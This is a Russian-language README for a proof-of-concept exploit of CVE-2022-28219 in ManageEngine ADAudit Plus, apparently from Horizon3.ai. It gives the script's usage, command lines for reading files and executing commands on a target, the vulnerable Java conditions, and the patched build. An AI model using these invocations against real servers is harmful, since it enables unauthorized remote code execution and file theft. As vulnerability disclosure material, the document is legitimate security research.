CVE-2022-28219

POC для CVE-2022-28219, затрагивающий ManageEngine ADAudit Plus сборок ниже 7060

Технический анализ

Подробнее в нашем блоге: https://www.horizon3.ai/red-team-blog-cve-2022-28219

Использование

% python3 CVE-2022-28219.py -h
usage: CVE-2022-28219.py [-h] -t TARGET -l LHOST -d DOMAIN [-lhp HTTP_PORT] [-lfp FTP_PORT] [-f FILE] [-c COMMAND] [-u USER]

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        target URL with port
  -l LHOST, --lhost LHOST
                        local bind IP
  -d DOMAIN, --domain DOMAIN
                        fully qualified domain served by ADAudit Plus
  -lhp HTTP_PORT, --http-port HTTP_PORT
                        local HTTP port to bind to
  -lfp FTP_PORT, --ftp-port FTP_PORT
                        local FTP port to bind to
  -f FILE, --file FILE  get file or directory listing at given path, use forward slashes and don't include drive, e.g. /windows/win.ini or /users
  -c COMMAND, --command COMMAND
                        command to execute, e.g. calc.exe
  -u USER, --user USER  user running ADAudit Plus app, useful for finding upload file quickly

Например, чтобы получить файл c:\windows\win.ini:

python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -f /windows/win.ini

Или чтобы выполнить calc.exe на цели:

python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -c calc.exe

Примечание: получение файла и RCE требуют, чтобы ManageEngine ADAudit Plus работала на Java Runtime версии 8u121 или ниже. Это будет верно в большинстве случаев, так как версия Java Runtime по умолчанию, поставляемая с ADAudit Plus, — 8u051.

Устранение

Обновитесь до ManageEngine ADAudit Plus сборки 7060 или новее.

Следите за командой Horizon3.ai Attack в Twitter для получения последних исследований в области безопасности:

• Horizon3 Attack Team
• James Horseman
• Zach Hanley

Отказ от ответственности

Данное программное обеспечение создано исключительно для целей академических исследований и разработки эффективных защитных методов и не предназначено для атак на системы, за исключением случаев явного разрешения. Сопровождающие проекта не несут ответственности за неправомерное использование программного обеспечения. Используйте ответственно.